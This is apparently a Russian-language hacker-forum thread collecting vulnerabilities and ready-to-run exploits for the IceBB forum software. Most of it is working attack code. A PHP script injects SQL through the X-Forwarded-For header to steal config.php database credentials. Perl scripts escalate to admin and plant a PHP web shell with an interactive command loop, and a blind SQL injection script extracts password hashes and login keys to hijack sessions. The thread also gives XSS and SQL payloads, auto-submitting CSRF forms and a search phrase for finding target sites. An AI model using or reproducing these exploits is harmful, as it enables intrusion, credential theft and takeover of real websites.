Обзор уязвимостей IceBB URL: http://www.icebb.net/ Actual version: 1.0-rc8 Source: Download IceBB 1.0-rc6 Remote Database Authentication Details Exploit Воздействие: Обход аутентификации PHP: <?php /*---------------------------------------------------------*\ IceBB 1.0-rc6 - Database Authentication Details Exploit [|Description:|] A security breach has been discoverd in IceBB 1.0-rc6. This breach is caused by a bad filtering of the X-Forwarded-For variable: > ./includes/functions.php, line 73 $ip = empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['REMOTE_ADDR'] : $_SERVER['HTTP_X_FORWARDED_FOR']; $ip = $this->clean_key($ip); $input['ICEBB_USER_IP'] = $ip; > ./icebb.php, line 169 $icebb->client_ip = $input['ICEBB_USER_IP']; > ./admin/index.php, line 112 $icebb->adsess = $db->fetch_result("SELECT adsess.*,u.id as userid,u.username,u.temp_ban,g.g_view_board FROM icebb_adsess AS adsess LEFT JOIN icebb_users AS u ON u.username=adsess.user LEFT JOIN icebb_groups AS g ON u.user_group=g.gid WHERE adsess.asid='{$icebb->input['s']}' AND adsess.ip='{$icebb->client_ip}' LIMIT 1"); A hacker could exploit this security breach in order to alter a SQL request. [|Advisory:|] http://www.aeroxteam.fr/advisory-IceBB-1.0rc6.txt [|Solution:|] No one. Think about update your forum core when a patch will be available on the official website. Discovered by Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com) for AeroX (AeroXteam.fr) (C)opyleft 2007 Greetz: Math², KERNEL_ERROR, NeoMorphS, Snake91, Goundy, Alkino (...) And everybody from #aerox \*---------------------------------------------------------*/ if(count($argv) == 4) { head(); if($argv[3] != 1 && $argv[3] != 2) { die("\r\nIncorrect version !"); } else { $version = $argv[3]; } ############## PART 1 ############## echo "[+] Connecting... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } echo "OK\r\n"; echo "[+] Getting tables prefix... "; $query1 = "GET ".$argv[2]."index.php?s=fake_sid&act=sql HTTP/1.1\r\n"; $query1 .= "Host: ".$argv[1]."\r\n"; $query1 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query1 .= "X-Forwarded-For: ".getInj()."\r\n"; $query1 .= "Accept: */*\r\n"; $query1 .= "Connection: Close\r\n\r\n"; fwrite($sock, $query1); $result1 = ''; while(!feof($sock)) { $result1 .= fgets($sock); } fclose($sock); if(preg_match("`<tr><td class='row2'><a href='index\.php\?s=my_sessid&act=sql&table=(.*?)adsess'>`", $result1, $expreg)) { if($expreg[1] == '') { echo "Failed\r\n\r\nExploit Failed :("; die(); } $prefix = $expreg[1]; echo "OK (".$expreg[1].")\r\n"; } else { echo "Failed\r\n\r\nExploit Failed :("; die(); } ############## PART 2 ############## echo "[+] Creating fake skin... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $postdata2 = "act=sql&func=runquery&query=INSERT+INTO+%60".$prefix."skins%60+%28%60skin_id%60%2C+%60skin_name%60%2C+%60skin_author%60%2C+%60skin_site%60%2C+%60skin_folder%60%2C+%60skin_preview%60%2C+%60skin_is_default%60%2C+%60skin_is_hidden%60%2C+%60skin_wrapper%60%2C+%60skin_macro_cache%60%2C+%60smiley_set%60%29+VALUES+%28666%2C+0x6F776E4564%2C+0x6834783072%2C+0x687474703A2F2F7777772E676F6F676C652E6672%2C+0x2E2E%2C+0x00%2C+0%2C+1%2C+0x00%2C+0x00%2C+0x00%29%3B"; $query2 = "POST ".$argv[2]."index.php?s=fake_sid HTTP/1.1\r\n"; $query2 .= "Host: ".$argv[1]."\r\n"; $query2 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query2 .= "X-Forwarded-For: ".getInj()."\r\n"; $query2 .= "Accept: */*\r\n"; $query2 .= "Connection: Close\r\n"; $query2 .= "Content-Type: application/x-www-form-urlencoded\r\n"; $query2 .= "Content-Length: ".strlen($postdata2)."\r\n\r\n"; $query2 .= $postdata2; fwrite($sock, $query2); $result2 = ''; while(!feof($sock)) { $result2 .= fgets($sock); } fclose($sock); if(strpos($result2, "<textarea name='query' rows='5' cols='50'>INSERT INTO `icebb_skins` (`skin_id`, `skin_name`, `skin_author`, `skin_site`, `skin_folder`, `skin_preview`, `skin_is_default`, `skin_is_hidden`, `skin_wrapper`, `skin_macro_cache`, `smiley_set`) VALUES (666, 0x6F776E4564, 0x6834783072, 0x687474703A2F2F7777772E676F6F676C652E6672, 0x2E2E, 0x00, 0, 1, 0x00, 0x00, 0x00);</textarea>") === FALSE) { echo "Failed. Maybe Skin already exists ?\r\n"; } else { echo "OK\r\n"; } ############## PART 3 ############## echo "[+] Getting config.php... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $query3 = "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=templates&skinid=666&code=edit&template=config HTTP/1.1\r\n"; $query3 .= "Host: ".$argv[1]."\r\n"; $query3 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query3 .= "X-Forwarded-For: ".getInj()."\r\n"; $query3 .= "Accept: */*\r\n"; $query3 .= "Connection: Close\r\n\r\n"; fwrite($sock, $query3); $result3 = ''; while(!feof($sock)) { $result3 .= fgets($sock); } fclose($sock); if(preg_match("`(<\?php.*\?>)`s", $result3, $expreg2)) { echo "OK\r\n\r\n"; echo $expreg2[1]; } else { echo "Failed\r\n\r\nExploit Failed :("; } ############## PART 4 ############## echo "\r\n\r\n[+] Removing fake skin... "; $sock = fsockopen($argv[1], 80, $eno, $estr, 30); if (!$sock) { die("Failed\r\n\r\nCould not connect to ".$argv[1]." on the port 80 !"); } $query4 = "GET ".$argv[2]."index.php?s=fake_sid&act=skins&func=disable&skinid=666 HTTP/1.1\r\n"; $query4 .= "Host: ".$argv[1]."\r\n"; $query4 .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\r\n"; $query4 .= "X-Forwarded-For: ".getInj()."\r\n"; $query4 .= "Accept: */*\r\n"; $query4 .= "Connection: Close\r\n\r\n"; fwrite($sock, $query4); fclose($sock); echo "OK\r\n\r\n"; echo "Do you want to create a local config.php file ? (Y/N) "; $a = strtoupper(trim(fgets(STDIN))); if($a == 'Y') { $handle = fopen('config_'.$argv[1].'_'.time().'.php', 'w'); fwrite($handle, $expreg2[1]); fclose($handle); } } else { usage(); } function getInj() { global $version; if($version == 1) { return "' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username /*"; } elseif($version == 2) { return "' AND 1=2 UNION SELECT 'my_sessid' as asid, 'lol' as user, '127.0.0.1' as ip, ".(time() - 60)." as logintime, 'home' as location, ".(time() - 55)." as last_action, 1 as userid, 'lol' as username, 0 as temp_ban, 1 as g_view_board /*"; } } function usage() { echo "+-------------------------------------------------------+\r\n"; echo "| IceBB <= 1.0-rc6 Database Authentication Details |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "| Usage: php exploit.php site.com /pathtoadmin/ version |\r\n"; echo "| Version: 1 = rc5 |\r\n"; echo "| 2 = rc6 |\r\n"; echo "+-------------------------------------------------------+\r\n"; } function head() { echo "+--------------------------------------------------+\r\n"; echo "| IceBB <= 1.0-rc6 Database Authentication Details |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX |\r\n"; echo "+--------------------------------------------------+\r\n\r\n"; } ?> IceBB 1.0-rc5 Remote Code Execution Exploit Воздействие: Выполнение произвольных команд PHP: #!/usr/bin/perl # IceBB 1.0-rc5 Remote Code Execution Exploit # 1. register a user # 2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass] # 3. login with admin access :) # # #### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use HTTP::Cookies; $port = "80"; $host = $ARGV[0]; $uname = $ARGV[1]; $passwd = $ARGV[2]; $url = "http://".$host; print q( ########################################################### # IceBB 1.0-rc5 Remote Code Exec Exploit # # www.Hessamx.Net # ################# (C)oded By Hessam-x ##################### ); if (@ARGV < 3) { print " # usage : xpl.pl [host&path] [uname] [pass]\n"; print " # e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n"; exit(); } print " [~] User/Password : $uname/$passwd \n"; print " [~] Host : $host \n"; $xpl = LWP::UserAgent->new() or die; $cookie_jar = HTTP::Cookies->new(); $xpl->cookie_jar( $cookie_jar ); $login = $xpl->post($url.'index.php', Content => [ 'act' => 'login', 'from' => 'index.php', 'user' => $uname, 'pass' => $passwd, 'func' => 'Login', ],); if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) { $cookie = $1; print " [~] Logined ...\n"; } else { print " [-] Can not Login In $host !\n"; exit(); } $badcode = "', user_group='1"; $avata = $xpl->post($url.'index.php',Content_Type => 'form-data', Content => [ 'avtype' => 'upload', 'act' => 'ucp', 'func' => 'avatar', 'file' => [ undef, 'avatar.jpg'.$badcode, Content_type => 'text/plain', Content => 'MYAVATAR', ], 'submit' => 'Save', ], ); $avat = $xpl->post($url.'index.php',Content_Type => 'form-data', Content => [ 'avtype' => 'upload', 'act' => 'ucp', 'func' => 'avatar', 'file' => [ undef, 'shell.php'.$badcode, Content_type => 'text/plain', Content => '<? echo 1 ; echo _START_ ; system(\$_GET[\'cmd\']); echo _END_ ; ?>', ], 'submit' => 'Save', ], ); $test = $xpl->get($url.'index.php'); if($test->as_string =~ /Admin Control Center/) { print " [+] You Are admin Now ! \n"; } else { print " [-] Exploit Failed ! \n"; exit(); } if($test->as_string =~ /profile=(.*?)'>/) { $uid = $1; print " [~] User id : $1 \n"; } else { print " [?] please enter user id : "; chomp($uid=<STDIN>); } while () { print "\n[Shell - type 'exit' for exit]\$ "; chomp($exc=<STDIN>); &sys($exc); } sub sys($exc) { if ($exc eq 'exit') { exit() ; } $res = $xpl->get($url.'uploads/av-'.$uid.'.php?cmd='.$exc); @result = split(/\n/,$res->content); $runned = 0; $on = 0; for $res(@result) { if ($res =~ /^_END_/) { print "\n"; return 0; } if ($on == 0) { print " $res\n"; } if ($res =~ /^_START_/) { $on = 1; $runned = 1; } } if (!$runned) { print "\n Can not execute command . EXPLOIT FAILED !\n" ; exit(); }; } print "\n #################################################### \n"; IceBB 1.0-rc5 Remote Create Admin Exploit Воздействие: SQL-инъекция PHP: #!/usr/bin/perl # IceBB 1.0-rc5 Remote Create Admin Exploit # 1. register a user # 2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass] # 3. login with admin access :) # - magic_quotes_gpc = Off # #### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use HTTP::Cookies; $port = "80"; $host = $ARGV[0]; $uname = $ARGV[1]; $passwd = $ARGV[2]; $url = "http://".$host; print q( ########################################################### # IceBB 1.0-rc5 Remote Create Admin Exploit # # www.Hessamx.Net # ################# (C)oded By Hessam-x ##################### ); if (@ARGV < 3) { print " # usage : xpl.pl [host&path] [uname] [pass]\n"; print " # e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n"; exit(); } print " [~] User/Password : $uname/$passwd \n"; print " [~] Host : $host \n"; $xpl = LWP::UserAgent->new() or die; $cookie_jar = HTTP::Cookies->new(); $xpl->cookie_jar( $cookie_jar ); $login = $xpl->post($url.'index.php', Content => [ 'act' => 'login', 'from' => 'index.php', 'user' => $uname, 'pass' => $passwd, 'func' => 'Login', ],); if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) { $cookie = $1; print " [~] Logined ...\n"; } else { print " [-] Can not Login In $host !\n"; exit(); } $badcode = "', user_group='1"; $avat = $xpl->post($url.'index.php',Content_Type => 'form-data', Content => [ 'avtype' => 'upload', 'act' => 'ucp', 'func' => 'avatar', 'file' => [ undef, 'avatar.jpg'.$badcode, Content_type => 'text/plain', Content => 'MYAVATAR', ], 'submit' => 'Save', ], ); $test = $xpl->get($url.'index.php'); if($test->as_string =~ /Admin Control Center/) { print " [+] You Are admin Now ! \n"; } else { print " [-] Exploit Failed ! \n"; } print "\n #################################################### \n"; Для поиска форумов в поиске пишем: Code: Powered by IceBB
Affects: 1.0-rc7 and below (The development version of 1.1 is also affected) Severity: Critical Details: A flaw in includes/functions.php allows an attacker to inject SQL into an SQL statement. но дальше этого описания ничего нет.. поэтому я решил посмотреть .... если мы посмотрим includes/functions.php в 7 и 8 ветке увидим функция что проверяет значения PHP: // give our key a good scrubbin' function wash_key($k) { //$k = str_replace('+',urlencode('+'),$k); $k = htmlspecialchars(urldecode($k)); return $k; } и 8-мая PHP: // give our key a good scrubbin' function wash_key($k) { $k = htmlspecialchars($k,ENT_QUOTES); return $k; } ну а если 2 раза закодировать то функция пропустит експлоит писать не стал, потому что мало форумов под 7-мой версией з.ы. вообще под этим движком мало форумов)) з.з.ы у кого есть желание тестоните на локалхосте
Active XSS Прикрепляем свой html - файл к посту, в нем будет находится java-скрипт. При открытии вложенного документа код сфункционирует. © ZAMUT
IceBB <= 1.0-RC9.2 Blind SQL Injection / Session Hijacking Exploit IceBB <= 1.0-RC9.2 Blind SQL Injection / Session Hijacking Exploit Exploit: Code: #!/usr/bin/perl # IceBB <= 1.0-RC9.2 Blind SQL Injection # Admin/User's Session Hijacking PoC # Coded by __GiReX__ use LWP::UserAgent; if(not defined $ARGV[1]) { banner(); print "[+] Usage:\tperl $0 <host> <path> [id]\n"; print "[+] Example:\tperl $0 localhost /icebb/ 1\n"; exit; } my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0].$ARGV[1]: 'http://' . $ARGV[0].$ARGV[1]; my $id = (defined $ARGV[2]) ? $ARGV[2]: 1; my $lwp = new LWP::UserAgent; my @cset = (48..57, 97..102); my ($hash, $key, $user, $prefix) = (undef, undef, undef, undef); banner(); $user = get_username(); $prefix = get_prefix(); print STDOUT "[+] User $id username: $user\n"; for(my $j = 1; $j <= 32; $j++) { foreach $char(@cset) { info(chr($char), $hash, "password"); $rv = check_char($char, $j, "password"); if(defined $rv) { $hash .= chr($char); last; } } last if $j > 2 and not defined $hash; } if(not defined $hash or length($hash) != 32) { print STDOUT "\n\n[-] Exploit mistake: probably fixed\n"; exit; } else { print STDOUT "\n" x 1; } for(my $j = 1; $j <= 32; $j++) { foreach $char(@cset) { info(chr($char), $key, "loginkey"); $rv = check_char($char, $j, "login_key"); if(defined $rv) { $key .= chr($char); last; } } last if $j > 2 and not defined $key; } if(not defined $key or length($key) != 32) { print STDOUT "\n\n[-] Exploit mistake: user $id has not a login_key\n"; exit; } print "\n\n[+] Attempting to login with user's $id session...\n\n"; $logged = try_login(); if(defined $logged) { print STDOUT "[+] Oh yeah logged in!\n\n"; print STDOUT "[+] Try yourself with your browser and these cookies:\n\n"; print STDOUT "[+] Cookie: ${prefix}user=${user}; ${prefix}pass=${hash}; \n". " ${prefix}uid=${id}; ${prefix}login_key=${key}\n\n"; } else { print STDOUT "[-] Attempt failed...\n\n"; } print STDOUT "[+] Exploit terminated\n"; sub try_login() { my $lwp = new LWP::UserAgent; $lwp->default_header('Cookie' => "${prefix}user=${user}; ${prefix}pass=${hash}; ${prefix}uid=${id}; ${prefix}login_key=${key}"); my $res = $lwp->get($target); if($res->is_success) { if($res->content =~ /User Control Panel/) { return 1; } } return undef; } sub info { my($c, $cur, $str) = @_; $cur = '' unless defined $cur; print STDOUT "[+] User $id ${str}: ${cur}${c}\r"; $| = 1; } sub check_char { my ($char, $n, $field) = @_ ; my $res = $lwp->get($target."index.php?act=members&username=%5c&url=". "OR+ASCII(SUBSTRING((SELECT+${field}+FROM+${prefix}users+WHERE+id=${id}),${n},1))=${char}%23"); if($res->is_success) { if($res->content !~ /No members were found that met your selected critera/ and $res->content =~ /<h2>Member list<\/h2>/) { return $res->is_success; } } return undef; } sub get_prefix() { my $rv = "icebb"; my $res = $lwp->get($target."index.php?act=members&username=%5c&url=OR+1"); if($res->content =~ /as total FROM ([a-z]+)_users WHERE/) { $rv = $1; } return $rv . '_'; } sub get_username() { my $rv = undef; my $res = $lwp->get($target."index.php?profile=${id}"); if($res->is_success) { if($res->content =~ /<h2>View profile: (.+)<\/h2>/) { $rv = $1; } else { die "[-] Exploit mistake: user ${id} does not exists\n"; } } else { die "[-] Exploit mistake: could not connect to $target\n"; } return $rv; } sub banner { print "\n"; print "[+] IceBB <= 1.0-RC9.2 Blind SQL Injection\n"; print "[+] Admin/User's Session Hijacking PoC\n"; print "[+] Coded by __GiReX__\n"; print "\n\n"; } Original link
IceBB 1.0-rc9.3 SQL-inj in [skin] IceBB 1.0-rc9.3 Уязвимость существует из-за недостаточной обработки входных данных в параметре "skin" в сценарии index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. http://www.securitylab.ru/vulnerability/357234.php
Сайт: icebb.net Версии: все версии - представленные уязвимости имеют место и на официальном форуме продукта forums.xaos-ia.com Path Disclosing Зарегистрировавшись на форуме и зайдя в панель управления, мы увидим сбоку ссылку "Change Password" на index.php?act=ucp&func=password. В html-коде этой страницы меняем строчку Code: <input type='password' name='pass_old' class='form_textbox' /> на Code: <input type='password' name='pass_old[]' class='form_textbox' /> Теперь заполняем поля и отправляем запрос. На официальном форуме в ответ я увидел: Code: PHP Warning [2]: md5() expects parameter 1 to be string, array given in /home/xaos/public_html/forums/modules/usercp.php on line 370 Active XSS В скрипте /includes/classes/post_parser.php есть следующий участок кода: PHP: function xss_is_bad($t) { //echo "javascript:"; //$t = html_entity_decode($t,ENT_QUOTES,'UTF-8'); $t = htmlspecialchars_decode($t,ENT_QUOTES); $t = str_replace("<","<",$t); $t = str_replace(">",">",$t); //$t = str_replace(""",""",$t); $t = preg_replace("/�*([0-9]*);?/",'&#\\1;',$t); $t = str_replace('javascript:','javascript:',$t); //$t = html_entity_decode($t,ENT_QUOTES); //echo $t; $t = preg_replace("/javascript:/i" , "nojava"/*ava*/."script:" ,$t); $t = preg_replace("/vbscript:/i" , "novb"/*b*/."script:" ,$t); //$t = preg_replace('/javascript:/i','javascript:',$t); //$t = preg_replace('#(<[^>]+[\s\r\n\"\'])(on|xmlns)[^>]*\]#iU',"$1]",$t); //$t = htmlspecialchars($t,ENT_QUOTES); //$t = htmlentities($t,ENT_QUOTES); //$t = preg_replace("`&#([0-9]+);`s",'&#\\1;',$t); return $t; } В комментарии громко сказано, что он защищает от всех известных видов XSS, однако легко заметить, что следующая строчка портит всё дело: PHP: $t = str_replace('javascript:','javascript:',$t); Она заменяет зашифрованное слово javascript на незашифрованное. Собственно, ничего не мешает написать Javascript с большой буквы и отправить следующий запрос: Code: [*img]Javascript:alert();[*/img] В ответ мы увидим желаемое. Blind SQL-Injection Просматривая исходники движка в течении 5 минут, можно обратить внимание на используемый класс поиска. В нём есть такая строчка: PHP: $db->query("SELECT id FROM icebb_users WHERE username='{$icebb->input['search_user']}'"); Зайдя на страничку поиска и введя в поле Author или Search by keyword запрос "+AND+1=1", мы увидим список всех пользователей. Здесь sql-инъекция в post-запросе. Соответственно, введя "+AND+1=2", мы увидим сообщение об ошибке. Вывод sql-ошибок выключен, так что инъекция слепая, узнаём версию: +AND+ascii(substring(version(),1,1))>1 Пароль первого пользователя: +AND+ascii(substring((select+password+from+icebb_users+where+id=1),1,1))>1 И так далее...
Уязвимость: Profile Change XSRF (CSRF) Vulnerability. Описание: Изменение профильных данных пользователя на произвольные. Работает во всех версиях. Эксплойт: Code: <html> <body> <div style="display:none;"> <form action='http://victim.com/index.php?act=ucp&func=profile' method='post' name='profileInfo'> <strong>Member title:</strong><input type='text' name='title' value='XSRF by Root-access' /><br> <strong>Location:</strong><input type='text' name='AHCo.Ru' value='' /><br> <strong>Gender:</strong><select name='gender'><br> <option value='u' selected='selected'>-</option> <option value='m'>Male</option> <option value='f'>Female</option> </select> <strong>MSN Messenger:</strong><input type='text' name='msn' value='' /><br> <strong>AIM screen name:</strong><input type='text' name='aim' value='' /><br> <strong>Yahoo Messenger:</strong><input type='text' name='yahoo' value='' /><br> <strong>Jabber:</strong><input type='text' name='jabber' value='' /><br> <strong>Website:</strong><input type='text' name='url' value='http://ahco.ru' /><br> <strong>Birthday:</strong><select name='dob_month' class='form_dropdown'><option value='1'>January</option><option value='2'>February</option><option value='3'>March</option><option value='4'>April</option><option value='5'>May</option><option value='6'>June</option><option value='7'>July</option><option value='8'>August</option><option value='9'>September</option><option value='10'>October</option><option value='11'>November</option><option value='12' selected='selected'>December</option></select> <select name='dob_day' class='form_dropdown'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option><option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option><option value='10'>10</option><option value='11'>11</option><option value='12'>12</option><option value='13'>13</option><option value='14'>14</option><option value='15'>15</option><option value='16'>16</option><option value='17'>17</option><option value='18'>18</option><option value='19'>19</option><option value='20'>20</option><option value='21'>21</option><option value='22'>22</option><option value='23'>23</option><option value='24'>24</option><option value='25'>25</option><option value='26'>26</option><option value='27'>27</option><option value='28'>28</option><option value='29'>29</option><option value='30'>30</option><option value='31' selected='selected'>31</option></select> <select name='dob_year' class='form_dropdown'><option value='2009'>2009</option><option value='2008'>2008</option><option value='2007'>2007</option><option value='2006'>2006</option><option value='2005'>2005</option><option value='2004'>2004</option><option value='2003'>2003</option><option value='2002'>2002</option><option value='2001'>2001</option><option value='2000'>2000</option><option value='1999'>1999</option><option value='1998'>1998</option><option value='1997'>1997</option><option value='1996'>1996</option><option value='1995'>1995</option><option value='1994'>1994</option><option value='1993'>1993</option><option value='1992'>1992</option><option value='1991'>1991</option><option value='1990'>1990</option><option value='1989'>1989</option><option value='1988'>1988</option><option value='1987'>1987</option><option value='1986'>1986</option><option value='1985'>1985</option><option value='1984'>1984</option><option value='1983'>1983</option><option value='1982'>1982</option><option value='1981'>1981</option><option value='1980'>1980</option><option value='1979'>1979</option><option value='1978'>1978</option><option value='1977'>1977</option><option value='1976'>1976</option><option value='1975'>1975</option><option value='1974'>1974</option><option value='1973'>1973</option><option value='1972'>1972</option><option value='1971'>1971</option><option value='1970'>1970</option><option value='1969' selected='selected'>1969</option><option value='1968'>1968</option><option value='1967'>1967</option><option value='1966'>1966</option><option value='1965'>1965</option><option value='1964'>1964</option><option value='1963'>1963</option><option value='1962'>1962</option><option value='1961'>1961</option><option value='1960'>1960</option><option value='1959'>1959</option><option value='1958'>1958</option><option value='1957'>1957</option><option value='1956'>1956</option><option value='1955'>1955</option><option value='1954'>1954</option><option value='1953'>1953</option><option value='1952'>1952</option><option value='1951'>1951</option><option value='1950'>1950</option><option value='1949'>1949</option><option value='1948'>1948</option><option value='1947'>1947</option><option value='1946'>1946</option><option value='1945'>1945</option><option value='1944'>1944</option><option value='1943'>1943</option><option value='1942'>1942</option><option value='1941'>1941</option><option value='1940'>1940</option><option value='1939'>1939</option><option value='1938'>1938</option><option value='1937'>1937</option><option value='1936'>1936</option><option value='1935'>1935</option><option value='1934'>1934</option><option value='1933'>1933</option><option value='1932'>1932</option><option value='1931'>1931</option><option value='1930'>1930</option><option value='1929'>1929</option><option value='1928'>1928</option><option value='1927'>1927</option><option value='1926'>1926</option><option value='1925'>1925</option><option value='1924'>1924</option><option value='1923'>1923</option><option value='1922'>1922</option><option value='1921'>1921</option><option value='1920'>1920</option><option value='1919'>1919</option><option value='1918'>1918</option><option value='1917'>1917</option><option value='1916'>1916</option><option value='1915'>1915</option><option value='1914'>1914</option><option value='1913'>1913</option><option value='1912'>1912</option><option value='1911'>1911</option><option value='1910'>1910</option><option value='1909'>1909</option><option value='1908'>1908</option><option value='1907'>1907</option><option value='1906'>1906</option><option value='1905'>1905</option><option value='1904'>1904</option><option value='1903'>1903</option><option value='1902'>1902</option><option value='1901'>1901</option><option value='1900'>1900</option></select><br> <div class='buttonstrip'><input type='submit' name='submit' value="Save my Profile" id="xsrf" /></div> </div> </form> <script>document.getElementById("xsrf").click();</script> </body> </html> Уязвимость: Signature Change XSRF (CSRF) Vulnerability. Описание: Изменение подписи пользователя на произвольную. Работает во всех версиях. Эксплойт: Code: <html> <body> <form action='http://victim.com/index.php?act=ucp&func=signature' method='post' name='signatureInfo'> <textarea id='postbox' name='sig' rows='16' cols='50' class='form_textarea'>XSRF by Root-access: [url=http://ahacc.ru]Security[/url] & [url=http://ahco.ru]Hacking[/url]</textarea> <input type='submit' value="Save signature" id="xsrf"/> <script>document.getElementById("xsrf").click();</script> </body> </html>
